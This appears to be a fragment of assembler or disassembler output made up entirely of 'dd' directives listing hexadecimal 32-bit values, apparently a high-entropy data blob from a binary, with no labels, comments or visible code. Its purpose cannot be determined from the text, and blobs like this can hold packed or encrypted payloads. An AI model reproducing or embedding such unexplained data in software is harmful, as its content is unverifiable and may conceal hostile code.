		dd 655DBF76h, 200C28B8h, 1B294092h, 0BA0D90BFh,	8DC0D95Ah
		dd 0EE3A12B5h, 0E09BBB11h, 6FA97C81h, 3FB93A18h, 739E5600h
		dd 0B22F5274h, 926EA200h, 82E20198h, 0BF801D4Ah, 530840E8h
		dd 1CC59D8Bh, 841E5C95h, 4005870Fh, 5FF123BBh, 928CB39h
		dd 5D748955h, 1744E56Dh, 7F40D362h, 8D1929CCh, 0B94A1809h
		dd 2DCEC3Ah, 0E18316B7h, 2F6DD7FCh, 15CB9FC1h, 845CA93Ah
		dd 0FC0C1485h, 1D40C1CCh, 74C07F2Bh, 0BDD25AD8h, 0F0D6B8BAh
		dd 1FAA00BEh, 0FC370850h, 0C23033ADh, 83D04AD1h, 750416E9h
		dd 5E6EBBF4h, 0CD26CB00h, 8166F827h, 9AD1CF06h,	625880Dh
		dd 69B58B60h, 0F16CE2Eh, 7BBD1B7h, 0AF2FC561h, 9562AF56h
		dd 0BD2B1083h, 1229A120h, 0FF818D8Bh, 1DC840CEh, 0A59372C3h
		dd 26F9EA81h, 182089D8h, 8715BD29h, 0C2728B50h,	0C103181Bh
		dd 924AC708h, 605819B0h, 6E857F89h, 0BAF63224h,	0D3F03C20h
		dd 3AB907CBh, 3366398Bh, 0BA8C61D7h, 82B03FA6h,	3A04A8EFh
		dd 0C6DBD83h, 2FDEA9FAh, 0E93AFE66h, 1CD9CCD5h,	25B85FF8h
		dd 6FBDD5h, 0D0F7A54Fh,	0D5549589h, 0D1E28DDDh,	25B04D49h
		dd 0CAB57FE1h, 0B9AE3280h, 0CF70187h, 0CA14398Ch, 2843D9E6h
		dd 2045010h, 8C6E34BFh,	112914Dh, 0D52B5902h, 0AF052D37h
		dd 0E5249501h, 0F032F20h, 51F46A86h, 33ED08C5h,	85386528h
		dd 30AB4ACDh, 79A4CEF7h, 0ED925505h, 82FF09A7h,	498E88AFh
		dd 66D9BFC1h, 206BB8Ch,	0E1809F85h, 0F64DDF04h,	723FA8C0h
		dd 65A0000Bh, 47F78059h, 8BA0C90Ah, 7BB7011Dh, 0A847D042h
		dd 87AFC23Fh, 44A3E7E3h, 41F9F4BCh, 0FD532017h,	0F8331A40h
		dd 97529A1Dh, 8F8129FEh, 6A82C2EDh, 0CEBDB06Bh,	615F5706h
		dd 2DFC505Bh, 0AE76545Eh, 0B9375D25h, 0F6EC1900h, 2448CC1Fh
		dd 9C9A60Ah, 0D921429h,	11052141h, 0F8DC5BBBh, 22F9B528h
		dd 1F03FF06h, 28B2228h,	50FD8A1Eh, 11D8F54h, 4515B1BFh
		dd 89AD8B2Dh, 5040AA7Ch, 39CC2CFh, 681EDB70h, 8BA86B28h
		dd 0B51D6CB8h, 0BBA4CC4Ch, 0D0DAB43Ch, 0BD082008h, 0E7919F80h
		dd 3831DD82h, 20FB584Ah, 0C6DB811Bh, 4F053E16h,	0ED56404h
		dd 0A07BE818h, 0D49B1176h, 19CAC678h, 4CBBBE3Ah, 2DA46F21h
		dd 0DD84AA18h, 0F806CAE2h, 7E956873h, 0F01CDC0Eh, 3F28C7D8h
		dd 0A81A2A0h, 77066182h, 0B77D5EA5h, 0B85525E1h, 0B3820FDFh
		dd 34810CA4h, 3525856Dh, 2D37F514h, 80E78381h, 0FF4CEEE3h
		dd 0CE6A035Fh, 0EF131A6Dh, 694B9290h, 0BDD5BB01h, 899D700Eh
		dd 0F0FBF66Bh, 2BD1595h, 0E9E7BECEh, 0A9C35C09h, 27D3ECB1h
		dd 0D99D08C4h, 46890430h, 93A6AE04h, 0ABAA30B7h, 0B2028C7Ah
		dd 0B5293211h, 50706961h, 6CF27Bh, 4E2855EFh, 7C7249CCh
		dd 89910925h, 0CDD52434h, 6CF76043h, 5D268529h,	0C162AD16h
		dd 0B531010Fh, 61DF8EF9h, 4824F2FFh, 2CE82180h,	0FEE40B68h
		dd 10DD4EF7h, 32B08B9h,	1C780C52h, 7C600DD7h, 0E8FD1BA2h
		dd 7837934Eh, 9E0120A0h, 0A3B8E815h, 0E92A975Dh, 85C7002Ah
		dd 0A7A677A2h, 6F2300F8h, 48CBB432h, 8278B9C3h,	8D1A7B12h
		dd 1723DC6Bh, 93773502h, 82185108h, 0A498D89h, 8BAD0209h
		dd 0FFAC6ADEh, 76292EDh, 956FE0E7h, 3102FBCDh, 0DB09D1E1h
		dd 456C61B2h, 0D0BB660Fh, 0DABB72C0h, 9164C5ABh, 0B9379E13h
		dd 7D3DD50Bh, 0FF6B1C00h, 58F4AA85h, 0B742E59Ah, 0C0722659h
		dd 0D682BB2Fh, 0E93546FAh, 0AF001520h, 504D6BEBh, 0F20C4830h
		dd 1874439h, 0AD10E8C1h, 4C8F200Eh, 584A03FCh, 0EBE79643h
		dd 81367736h, 857B0E64h, 29501B8Ch, 1821D028h, 1135833h
		dd 701B5742h, 37C08B25h, 0EE0E0027h, 9509D394h,	0D7822FE2h
		dd 0F52130E2h, 72DAB70Fh, 371B9282h, 412C1A69h,	0B0161A20h
		dd 8D13E650h, 3C089D20h, 145DBD0Bh, 1904E051h, 22D53CC1h
		dd 0D72919A8h, 7266E31h, 0DB45B90Ch, 1FB4E6B0h,	803090FAh
		dd 0BD6F7EAh, 0ADB35B42h, 566F3904h, 0D58420FBh, 0AB3F5F83h
		dd 3C0807D9h, 73514ADBh, 22613EF7h, 5F0107F1h, 0AAE3CEC7h
		dd 4EC0458h, 5061F1BFh,	0B6BF80D4h, 9870B3F2h, 0C5DDFF73h
		dd 2925316Ch, 0E1DC7695h, 0CF8D93Eh, 7B91E9h, 0C8302468h
		dd 993ADB41h, 0FAA780E6h, 7B32943Fh, 84F99850h,	0CA5F50D5h
		dd 57104019h, 0AD9D230Dh, 0C6010E0Dh, 0F7EB79B5h, 7FCBAAEAh
		dd 19312386h, 20A9852Ch, 0F9DF8080h, 0D6C48689h, 946EFA8Dh
		dd 0D868EE00h, 528E516Fh, 0F1A01172h, 0A84E4DE3h, 0A6AB2334h
		dd 974B047h, 0BE92271h,	56055A00h, 842ADA44h, 156702D1h
		dd 4C28357h, 1D4DBBC0h,	0BB205088h, 2A36782Bh, 2359FCA0h
		dd 0E47BB7h, 0EC69220Ch, 8A007766h, 7307999Ah, 3DDD1AAFh
		dd 600519D9h, 0D0A19D01h, 615E5304h, 14325B58h,	4FC8B41Ch
		dd 0C06ADAAEh, 0BA0C54D2h, 0E86662DEh, 86232A1Dh, 0DEBF85B8h
		dd 2AB18108h, 4BDB5DA9h, 0EA6BFE40h, 921B2A00h,	4608C923h
		dd 0ACD8CF19h, 9A22DAA8h, 8FC69A93h, 5F78C9B0h,	0B43A2748h
		dd 0A32A7300h, 0D6022C57h, 0A78F126Ah, 498F04DBh, 0DA0C81Eh
		dd 0CFC00758h, 91753F9h, 0E596EAEh, 60EDB0CDh, 53BB6CDCh
		dd 15E4294Fh, 0DF64336Fh, 16D18413h, 7B194198h,	0BDCF049Ch
		dd 0C0135270h, 0E30D5D3h, 2B3B6B84h, 7E37DDh, 0FCEDCA7h
		dd 0F648F30Ah, 7E55285Eh, 59BD8DF6h, 2484A171h,	512512F6h
		dd 15B8D397h, 7F97038Ch, 13F99D0Bh, 8195530Bh, 0BA489329h
		dd 1035CE57h, 851D518Dh, 9EFB1ABDh, 0BF5983DEh,	26CD900Bh
		dd 914C48EFh, 7F33791Bh, 0A0C95CF2h, 29394D5h, 454934BAh
		dd 0B03CB6ABh, 13D67D9Ch, 0A0AD733h, 0A5B9D1ACh, 0E1FD771Ah
		dd 89A01B2Ch, 18C666BEh, 2452660h, 5820D9F1h, 612A40A9h
		dd 1520BFB8h, 0C014E135h, 4A164E9Bh, 9BE96209h,	0DAC17DF3h
		dd 0C6ED3B19h, 0CF83C580h, 0A600E1BFh, 5F9860F9h, 0BD1E56h
		dd 0D78A12C9h, 8B75FF9Bh, 0CABFC102h, 5D37A60Eh, 0DF25F37Bh
		dd 21814E1Fh, 9DD17ACEh, 87E77Bh, 50E6ACDBh, 259EF0BFh
		dd 87091777h, 2C7956Dh,	0E8CCBFD1h, 0D2FE8E70h,	8086DB46h
		dd 8A600CBEh, 0D54097CAh, 314A157Fh, 12239D14h,	0E9D11B75h
		dd 0F042EB1h, 0AED72294h, 830AF808h, 0A360AAC9h, 47F076F0h
		dd 8A7EB900h, 0C0835BDCh, 32317D05h, 0DE4F1811h, 98ADC0DFh
		dd 60E5963Ch, 5AD24B8Dh, 5DA393Bh, 90B3CDFAh, 898B9BFBh
		dd 0CA605FA9h, 0A383F98Ah, 0FBDB25DDh, 669E20FFh, 16EB7C1Fh
		dd 9AECEADh, 0E4755B7Ch, 968D64E5h, 0C5DC8792h,	0D682EBD1h
		dd 0C4EEFF17h, 850F0108h, 0ADCF4E4Ah, 26A1390h,	15104B1Eh
		dd 3EBB9001h, 687C62C4h, 294D1E3Ch, 12DE07E4h, 19710BA9h
		dd 25ED642Fh, 48073661h
		dd 6B470241h, 5D0CA4E9h, 2C45FA79h, 0AEBFE840h,	0A07FB99Ch
		dd 0C48405F3h, 0AF5390F6h, 0B30C55B2h, 0F8705FD6h, 798B7BBDh
		dd 0DDBFE05Dh, 277AEC0Bh, 0A5E782AFh, 0FF64012Ch, 0BF514035h
		dd 0E2B8334Fh, 257089F8h, 80235BBDh, 0E7769234h, 2703DF91h
		dd 2FD4693Ah, 0EFB0B8C4h, 0AE724F36h, 0EE6BA165h, 3D33A402h
		dd 0ABF1D73Ah, 0A7408E1Eh, 0F503CA99h, 73FF4D6Ah, 0CD24F548h
		dd 185CAF0Bh, 0E82928DCh, 0C6590033h, 0ACD5487Dh, 83520F4Bh
		dd 81545481h, 9CE3E988h, 1CED42BFh, 0E2EFB004h,	8A291FA9h
		dd 0E61B8902h, 401FF070h, 7148E41Fh, 3C2E4060h,	0B96C6165h
		dd 23D12A44h, 0C8B6091Fh, 80006875h, 4EF562E3h,	9091D2Dh
		dd 0DF66D5ADh, 18FDBD10h, 1B07FE4Eh, 95C7DBBFh,	66C1ECh
		dd 0C82BE2F7h, 9BEBD381h, 8B2D290Ch, 5BAD5AD1h,	9A78FD23h
		dd 0A4D25792h, 0B402F90h, 9245B853h, 3C8CFF3Ch,	0D9272D89h
		dd 8D3D16DCh, 0E2D03BDAh, 4D466CAh, 0E97CFCF3h,	0A9DED83Eh
		dd 25EFA74Ah, 9881EF94h, 0C0502E5h, 61C5D95Dh, 85E1832Fh
		dd 3BCC1C01h, 0D50950FAh, 0A583800Eh, 0FCFE26A0h, 5F0583A2h
		dd 8DC120E9h, 0F87D03B5h, 0DC4DDC97h, 0F8285F00h, 9E18DB7Ah
		dd 0CD9D2531h, 51903B64h, 99876D68h, 5E4B4625h,	9295EC60h
		dd 5A84DF00h, 31ACBBh, 0C9DC1879h, 0FE213033h, 7B14CF70h
		dd 10F25495h, 581D2EB9h, 8B48B61h, 22E97B68h, 0FCE1FDC4h
		dd 0DFE14DB6h, 46D246E3h, 0A58902Eh, 7FBE6900h,	4F0FFC4Bh
		dd 5F9D518Ch, 1BDCC200h, 440F281Ch, 57830D00h, 38CECF0Ch
		dd 0E4B304E7h, 4088E67h, 5B091BA1h, 2BFA4F00h, 0B80160C0h
		dd 24223B84h, 0D2E961FCh, 41ED6C70h, 566D2A31h,	0A26EA67Bh
		dd 0F52FC04Ah, 0F3D69706h, 0D36503DEh, 119D036Eh, 7788A54Ah
		dd 74B24EB7h, 0C94F9A4Bh, 0A5785BEEh, 89271F77h, 0D5076F2Ah
		dd 8ACF050h, 95950CF3h,	895CAF72h, 33A100DCh, 3B765EA8h
		dd 780232EBh, 0A58D31D2h, 65510913h, 9541C546h,	0E807E737h
		dd 0C0601C26h, 2F85DE0Bh, 1956B743h, 0E48D9DC2h, 0C9FE4A87h
		dd 5FED2B89h, 232716ACh, 641A5DF5h, 73698954h, 19B17033h
		dd 51CE322Eh, 0FFF0EE02h, 70F2D3E1h, 0D412A4FBh, 0CD30F5F8h
		dd 7EA90852h, 0FBC0043h, 150E8828h, 24006358h, 8560FC4Dh
		dd 12801655h, 0B25F4FDBh, 87A08DC4h, 92A6E83Ah,	0A88CC5A2h
		dd 9495F927h, 7B6445A4h, 0E0E266E6h, 0F3DE482h,	44A96007h
		dd 9FF40065h, 8A31DF0Bh, 43277034h, 1D0D75F0h, 433CDB0h
		dd 0E5AB5A8h, 0B4F268F5h, 5BBFF695h, 0E1B9D837h, 0FDB35817h
		dd 681CCCCh, 635956CFh,	1525BA54h, 93966E0Ah, 0AEE3783Ah
		dd 0BF907800h, 0DAC3682h, 405A9E50h, 1C5E4E4Ah,	78311D00h
		dd 0FDC8ECCBh, 17C14A7Ch, 3E1D991Fh, 680092B9h,	0E0A5161Ah
		dd 201724BBh, 1FE7D14h,	79EDE5D4h, 12BD2A1Fh, 0FEC46AACh
		dd 921D3145h, 1265B6FBh, 6BB381B5h, 0A409B692h,	0B8E2FAh
		dd 0B7C04464h, 62C4E95Bh, 0CD8DF101h, 6E54C76Ah, 890435E9h
		dd 6E597A5Ch, 0F5C2B384h, 29C16BACh, 2B0C9D8Dh,	1923416Fh
		dd 0CFCABD00h, 5C8A9C1Ch, 0FEC0CE60h, 4C68524Fh, 89619113h
		dd 6EDFD7BFh, 0B60B094Bh, 0C550082Ah, 0CE018160h, 61B29B5Fh
		dd 46402DA7h, 170770A4h, 75A98F20h, 18E5057Eh, 0B2569878h
		dd 6FE20057h, 0DDB5FFDBh, 0B46902DAh, 0AC9ACFB8h, 611FD07Dh
		dd 6696025Fh, 6878F1BBh, 0E5D83C95h, 51A1CDB2h,	0EBD2F17Ch
		dd 95C093DAh, 0D11834D2h, 866C1304h, 0F9B81BB3h, 50FC8AA0h
		dd 811031E7h, 7FC1BF47h, 85E705E6h, 0EB128CEFh,	0C7799600h
		dd 0DF9BF7A6h, 7DFDE041h, 2CD80964h, 1410E06Dh,	0AB097FBBh
		dd 5958393Dh, 0C86D0047h, 0E70D60F4h, 4A5A0E3Ah, 15C804DAh
		dd 87EB1BC2h, 32E891D2h, 7478FECCh, 7044DBBFh, 0CF014D49h
		dd 1343BD9h, 922855BDh,	9049D756h, 7D01FBBCh, 6052502Bh
		dd 9FC75B61h, 76D48057h, 3CC7C6C0h, 2D2BFBE8h, 0E5DF2004h
		dd 388E324Ah, 0FB273B35h, 4CEBCB9Ch, 3312BF65h,	1084AB9Dh
		dd 35A50484h, 14556E2Bh, 4ABABA08h, 3A2A8BC9h, 0DAEEF514h
		dd 719E80B6h, 90D9EA03h, 49F14BCFh, 0E59DFFDh, 0C950F544h
		dd 0D6168A70h, 0D503E225h, 0DA803B37h, 0A2E8DF6Ch, 0CA35053Ch
		dd 0C9830F77h, 2C72F27Ch, 1875FB00h, 0B23D7B28h, 56210098h
		dd 0BA04DF38h, 42985366h, 448F0F27h, 0ADF305B1h, 0E21B80B7h
		dd 58ECA84Dh, 8C8712Eh,	0C1256128h, 4964E18h, 0D77F41BFh
		dd 0DD2BAC0Fh, 96FBB7C2h, 0DF66FF56h, 674FBB09h, 5054073Dh
		dd 0C7314DF9h, 0AA4DC71Bh, 0EAB5C974h, 0BEC55B93h, 352ABCE1h
		dd 8159DB15h, 4896682Ch, 0CB07F82Eh, 0E9B84BDh,	59523487h
		dd 0DDA89020h, 93348522h, 0C8D33BA8h, 0EAEA8A1Eh, 7F84D55Ah
		dd 0FD5F44A8h, 68CE8DAh, 3E828E01h, 1122907Ch, 4CF79416h
		dd 0DC4DDB4h, 1BF8C283h, 95177AC0h, 0FC00FD48h,	0D4F35030h
		dd 9690C39h, 0DC668326h, 5CC92A58h, 0FBC6E2A5h,	9435A5ECh
		dd 80FACE00h, 766B5D8Fh, 0F21027BEh, 398D1748h,	0F38B0B4Ah
		dd 81F19A5Ah, 0EFCB69BBh, 0B12A7D24h, 0BF66071Dh, 403279FEh
		dd 0AE71DD5Bh, 0E41AF41h, 0FBD2BF6Dh, 3AC0E49Ah, 0FEE7FD95h
		dd 2DC43504h, 0F1BF8589h, 9FA22822h, 8C0D6F40h,	10BDAFh
		dd 2ED978BFh, 3E994327h, 2D9DC90Fh, 0C38127CEh,	0D190801h
		dd 203AD821h, 915A3A13h, 35D7D400h, 0D0945573h,	6F381F06h
		dd 75D38231h, 1E5657E0h, 0B578F223h, 13A20089h,	8D5D1177h
		dd 0B8AC0AB3h, 6D4A6098h, 522A9C89h, 32DAFF20h,	758AC8C0h
		dd 98503311h, 0CF96499Ah, 113A4525h, 0FCF82E11h, 0BF5FBB06h
		dd 3F5248E9h, 5B954532h, 15C44F6Dh, 0BF436760h,	3A25077Bh
		dd 9D0F6660h, 0FC002B37h, 0A86DC4F5h, 892927C8h, 605C49C4h
		dd 0B081C0F3h, 1FDAFBD1h, 0A054F27h, 406761F8h,	5B5FB350h
		dd 62429A95h, 51175417h, 3755A53Ch, 78AD0314h, 32A82B57h
		dd 0D4950160h, 20B5A09Eh, 614A1FDDh, 95F525CCh,	54561787h
		dd 0B60AAC5Bh, 80BD793Ch, 0F4383CE9h, 41B8DFFFh, 0F7599580h
		dd 0EF00D354h, 75830B53h, 2052710h, 14336D91h, 260A5B4h
		dd 5F1B2C04h, 0D254C18Bh, 0FC5A2B16h, 0EB53CF00h, 95CCBAAAh
		dd 0D19709BFh, 6DF781B0h, 6DDB49CEh, 62A63309h,	443A23Bh
		dd 2D9A50E2h, 20CD6AFCh, 23839E6h, 0BD3386B3h, 0D8642C89h
		dd 12ABD412h, 85F0C4F6h, 0BEF47502h, 8D11AF90h,	0C0121E0Dh
		dd 0E142B605h, 203BBC9Eh, 97B77109h, 0EDDA9900h, 5D69D55Fh
		dd 0F2461E95h, 0BB50801Bh, 0B769A8Eh, 685C93A2h, 0C7AC02DEh
		dd 0D29FC563h, 0B684D0F0h, 0F95A77B0h, 59086AAAh, 1D7EC06Dh
		dd 2533FE6Bh, 0F800099Dh, 9BD78166h, 2ACDF24Ah,	37C01C5Bh
		dd 4F11BFCCh, 0FF1D2709h, 70DFFBD1h, 8800C572h,	0A8E780A5h
		dd 5D952957h, 5B256C21h, 8C117065h, 2E8286Eh, 732C6A1Dh
		dd 490C0EDEh, 9DA04CB2h, 0BF908C6Fh, 79E71700h,	0BB605003h
		dd 0A4A3099Fh, 5E858A7Ch, 0B825AD90h, 0CDD33972h, 0BF63E185h
		dd 0E831C455h, 0DA4516D4h, 6A2AD729h, 19AD00C2h, 0E921E706h
		dd 0CB0D4A95h, 0ABDE10B2h, 78D30076h, 230AC043h, 2FE9C59Dh
		dd 3EBCBFA9h, 52D0C0E3h, 80D99895h, 900A1CEBh, 92B6660h
		dd 7304299Fh, 9DF261h, 0D5CE02F4h, 9D3374D2h, 0A98051DEh
		dd 5B793252h, 83551DA0h, 0F402BFDFh, 615EF31Eh,	2905595Ch
		dd 45CC9007h, 24590F9h
		dd 207CA66Ah, 8AE0479Ah, 5B012D98h, 0B14B5A74h,	0E631048Fh
		dd 0F7FE2444h, 0FA4002F7h, 5C3DA402h, 9F572700h, 801711E6h
		dd 68A80D53h, 1B3097F5h, 5D09EF81h, 734B5727h, 0D06DA70Bh
		dd 0DCC8C540h, 0EEFF4B6Ah, 0BB0B056Fh, 0CB0727DFh, 0CD7F09D5h
		dd 0BB06E069h, 8F024B88h, 45BD0B7Eh, 44F70920h,	0B389B089h
		dd 1E6425B6h, 108BEA44h, 840201BDh, 959770E6h, 71E4FF31h
		dd 0A9C4096Bh, 61C226C8h, 9A35549Dh, 125649C6h,	44A534ECh
		dd 1BBDC124h, 77F9C270h, 0BF01BA59h, 2B1B6CFAh,	190C083Bh
		dd 9EC8B23Bh, 4BDCDA3Dh, 0E91604D1h, 0C00ABD16h, 0C89E1DC3h
		dd 76AA00CFh, 8FF6DCEFh, 250B9773h, 825B395Dh, 21BE536h
		dd 185C5EB7h, 46C78100h, 0C54548B0h, 8915C17Eh,	9DAA8B71h
		dd 5A57A92Dh, 0E9398020h, 0D90BF48h, 61820775h,	5FDA4193h
		dd 8C390373h, 1901F5BDh, 0EA754B9Dh, 21848A31h,	0B1CF8110h
		dd 426E261Fh, 3E21A5D4h, 94CB82FEh, 886752C5h, 422F67B0h
		dd 0C12556E9h, 0AD1202A8h, 976CC490h, 17CDF3A3h, 269F397Fh
		dd 970E53DAh, 0EA453531h, 200BE802h, 0D574DC35h, 0DD13300Bh
		dd 31F5C0D8h, 8D0160B5h, 7C4B95Fh, 0FCF88B80h, 0F21259Dh
		dd 0B59506CCh, 13B4006Eh, 6A47CB01h, 0C8CAFCF2h, 2B8AB4D5h
		dd 0D62BC0h, 14BCB2D9h,	0BA639D6Fh, 0D78080A4h,	0B6952EB9h
		dd 0F182C8F9h, 0DDE8A82h, 0D8E2FB88h, 0F827A088h, 0D9E11AFCh
		dd 4D0C0002h, 75EB8474h, 17188872h, 2352A36h, 95E3F8AAh
		dd 341D39Ah, 234A1417h,	0C00FF29h, 0AB3E6BDDh, 3F56000Eh
		dd 675A6850h, 0D2125DD4h, 0CDB2D88Ah, 65E3E3B5h, 7EC9558h
		dd 0AC193984h, 2363E2B4h, 0AD84B8F5h, 0B2ECBAh,	0CF7F2C02h
		dd 0E65F68FBh, 82742BE3h, 0F0D0E3EAh, 5DADB2Ch,	0E0493A07h
		dd 1DFB223h, 160E1FFh, 91744185h, 52949561h, 4F049538h
		dd 25136EEBh, 776790B2h, 55E207F2h, 5060A34Dh, 5FF62C2Bh
		dd 3A492401h, 57A4CCBBh, 831B4324h, 0A187ACF4h,	0E92F0468h
		dd 1274BC19h, 0BBB9AC83h, 74F91192h, 9D0160F4h,	4F951EE5h
		dd 6025BE5Bh, 807035F7h, 0C6B30956h, 1412D8A7h,	94BF3D5Bh
		dd 1FC5E95Eh, 3581B261h, 97385E12h, 5C6E5870h, 8D121AE6h
		dd 0F3C1FB95h, 2829D98Ch, 4F01B1B8h, 145C9FEFh,	132B46CFh
		dd 2AE2E3h, 0FF93BCBFh,	309B6E3Dh, 9584A084h, 0A2955F67h
		dd 90140F1h, 11027E44h,	26A47D4Ah, 0F360DD90h, 130991B3h
		dd 513B1E2Ch, 0BACDA595h, 978FDAC0h, 623C0261h,	284ABAE0h
		dd 416BFE56h, 0F17490F5h, 5FC13B7Bh, 0BB06CC4Eh, 87E4D300h
		dd 3AB33D82h, 6ECE006Dh, 39E678A6h, 0EE15ABDEh,	1944EFh
		dd 0CF6F56BEh, 2B16EBh,	0D1AB17D0h, 9D3384FCh, 48D3DF00h
		dd 5A5BB6DBh, 61DA278Bh, 0F74084EFh, 27B6D0A4h,	3DC68A0Fh
		dd 640C4127h, 40E1987Bh, 0C4026831h, 8BAFA9C0h,	12D5CFAh
		dd 5075433Bh, 7CF93533h, 0CCA9B438h, 345C84A8h,	522675A3h
		dd 4D091A4Ah, 8531731Eh, 0CBE380h, 0E90507BEh, 3EE101D7h
		dd 2DB88ABDh, 0AF0B4F00h, 7384BCC2h, 54BB09FAh,	0B2010342h
		dd 2E17E195h, 1EAC3B74h, 0B8DAB7C4h, 0AC43D11Dh, 1EE60087h
		dd 3CD7450Dh, 0E2B84918h, 379730F0h, 81179141h,	36E8B32Bh
		dd 0DE806C2Ch, 0C71EA03Eh, 311DF504h, 3CA12D8Dh, 0EDACA7h
		dd 7768E3E0h, 0C42049CCh, 7D8C1CB8h, 702612CBh,	69780EE5h
		dd 49C9AA56h, 9770B2Bh,	129A284h, 0FD8A5650h, 0E634C096h
		dd 0B93CF01Bh, 65292515h, 7E285A53h, 13B1049Fh,	0DCA56801h
		dd 0A3F83ECCh, 0D62EC680h, 93006CEEh, 0B2A13AAFh, 1338AC54h
		dd 0EB068E0Fh, 0ED5B57DCh, 0F5AAC92h, 85C906F2h, 0A6386557h
		dd 425969A0h, 2BFB8B82h, 50C052BDh, 97508190h, 76E3290h
		dd 2840CE0Fh, 0D8FFF3F3h, 0B0B7D91Bh, 486D8545h, 6BE5E722h
		dd 0C22A286Ah, 57260527h, 0F9AAA38Ch, 95613340h, 94C06FEDh
		dd 90BC78ACh, 1FCD2090h, 95409695h, 48616414h, 35B2601Bh
		dd 1EFF1CEh, 824C6380h,	8758E884h, 2F427600h, 0CF94BA22h
		dd 0BC9B3CC6h, 359D0906h, 0E9E2BF2Dh, 7ABA3A4Bh, 80DD04C2h
		dd 47B866EBh, 0EF8180EBh, 4F627336h, 812FDB46h,	6888E2D7h
		dd 0A30FA3CCh, 4AB8CCF3h, 2F0476A1h, 1229229Ch,	0F32A59BDh
		dd 335D8D26h, 0ACB2FD2Bh, 1C57F26h, 862A2CBFh, 2001AF60h
		dd 0B95E184h, 25C2CEABh, 7D530AE5h, 59D88A89h, 2F16A469h
		dd 571339ECh, 90BF295Fh, 0BF966132h, 0CC82D601h, 92B7501Fh
		dd 841251E6h, 0AEB18D09h, 6C0012A6h, 5CD0AAD9h,	1D004DD7h
		dd 0F913CC38h, 28360E4Bh, 65969E43h, 205F39EDh,	14F3815Fh
		dd 37B2DF12h, 6A5EFDB7h, 0B060156h, 0D42A0A74h,	203B7E49h
		dd 9D3CCA68h, 0F0C6E200h, 95796477h, 9AFF253Ah,	3F8DF666h
		dd 57167462h, 849DC078h, 0B3120953h, 72C44A11h,	805261BEh
		dd 1CBF1005h, 29A625D8h, 2BF8F261h, 766FDD12h, 3B021B00h
		dd 83F5B507h, 66673F25h, 0F88977FBh, 0D3B8950Ah, 6A4EA1B7h
		dd 386EEBh, 28B2AD87h, 4A06CE35h, 0F358CC1Eh, 70E8A07h
		dd 0C0A0852Eh, 6D3FC9h,	0C34A57C1h, 0F3843C03h,	75DA1A95h
		dd 0D070AD53h, 4F0600B1h, 0DEBB6DEAh, 3550ED4Eh, 19BCFBBEh
		dd 9DBD3160h, 0B721BF18h, 8D9644D6h, 950FE28h, 440747E2h
		dd 0DB846016h, 26109DB2h, 3E078CA6h, 0C8719546h, 0CA664910h
		dd 0BBF001DAh, 42CB80C2h, 676B2E5Fh, 0A2001923h, 32F299Fh
		dd 0F88A2548h, 109CC66h, 590C61BDh, 10CACBABh, 7DC65FCh
		dd 1A4A9CDCh, 4E3EF22Ah, 0F1014BF1h, 0BAF6A116h, 58FA7CC0h
		dd 5A05EF06h, 35969D95h, 0E053B991h, 0EB4CCBFh,	505F27ECh
		dd 3D44F637h, 6D96A5FAh, 0C86C0C9h, 6E03154Ch, 81603903h
		dd 0B93D90D1h, 5BB62E45h, 0DEBF0AF2h, 113D69CEh, 6800CD17h
		dd 0B3BBE307h, 6071ACh,	0DA81C28Bh, 52941D2Fh, 35976171h
		dd 801D9133h, 97A9942Ch, 0E457390Bh, 60656294h,	4FE0896h
		dd 7DBB6682h, 673A5535h, 0F88D595Dh, 9A008834h,	0F3DE519Fh
		dd 25BA72BFh, 4AC552DFh, 4F389F1Ch, 73066EAAh, 0BBB01C01h
		dd 2A3811B1h, 5CD8D042h, 93766941h, 0BE3F00DCh,	22BD6166h
		dd 3A4B53F0h, 0BE0E7908h, 382D5510h, 6EFE4FC6h,	3853002Bh
		dd 3C8C5B2h, 5F29699Dh,	5347215Eh, 0F92FBFB0h, 68280E6Fh
		dd 0EE228882h, 98C06E2Eh, 9C77AC18h, 94AD1C97h,	3C00DC6Ch
		dd 26D72FBDh, 120191D1h, 0A86EE9D9h, 76775D5h, 0CFB0752Dh
		dd 127743C5h, 0E3C18B41h, 0AFBF00A3h, 90189A25h, 0BFB69852h
		dd 30563532h, 0FD962CD4h, 0BEC62D90h, 7507C52Dh, 339E3998h
		dd 0DD631F00h, 73768628h, 6AB02BECh, 1299D3D0h,	6AA5F0BBh
		dd 24E6695h, 2C931BB1h,	9440C99Eh, 0E31EFA83h, 0F140E43Ch
		dd 5C4EB8CDh, 28A89075h, 768E0AA2h, 0D3125D6Ah,	0E616D512h
		dd 0ACEA4DB9h, 0A06100D3h, 975C901Bh, 504870A4h, 0CF96C01Dh
		dd 7BF9AA8h, 25067702h,	0F4F85046h, 527C50D0h, 897EF609h
		dd 40E15F08h, 0C6132E5Bh, 232463E3h, 0A16A2574h, 82CF3757h
		dd 0DFFC920Ah, 0D7DE8077h, 9D6ADDBCh, 0E2DC82DCh, 0A3085023h
		dd 3A2D4181h, 71D103C2h, 8D25BC63h, 0A3486F4Ah,	21BC2FE1h
		dd 0E2961DF4h, 0EDBA40D1h, 595893Fh, 2DB7014Ah,	10CFE067h
		dd 8BD1FF28h, 0BE8ADE4Bh, 0FC786426h, 8579F01h,	26A0FB3h
		dd 0FAF03E66h, 8301B52Dh, 89609C7Fh, 413F0D9Dh,	9061F97Ch
		dd 1C372A50h, 0D4467789h
		dd 849D615Dh, 96B803E9h, 1BB74E1h, 902BBD09h, 80F9B33Ch
		dd 0C61BF725h, 7870B375h, 3A0956A3h, 989EDFB2h,	7D44BB4Dh
		dd 35701A29h, 7888CCA6h, 0B07528C6h, 8F0124EEh,	10FFA779h
		dd 0C288B6h, 3C3924CFh,	6E221B9Ah, 55A9121Fh, 1CF8DA04h
		dd 0ABBC5CBDh, 4B56D3Ah, 0DF9CBF54h, 0ADA58DB8h, 4EBA8D4h
		dd 0F995317Eh, 90B61207h, 0E3FE8B12h, 8D310B8Ch, 6A79E1D9h
		dd 0C551F6h, 0CAB889FBh, 0DE07E47Ch, 0A395E868h, 0C8A40039h
		dd 4BA03D31h, 0C6C8267h, 12F4D6DCh, 0E6971FC7h,	1491257h
		dd 0E1B085C8h, 24A202Bh, 8C0077A8h, 2B8DC5B9h, 865DAE1h
		dd 821B501h, 0AABB5B00h, 1648D476h, 306070E6h, 620EBF04h
		dd 0F43ECA00h, 338EA04Eh, 0F7F4950Fh, 117FDC2h,	2B71E461h
		dd 250A7808h, 11F88469h, 0E520A5BFh, 890C975Dh,	60880E1Ch
		dd 0DD951623h, 6986D11Eh, 4B59A918h, 0B9A9AE81h, 9FE475F8h
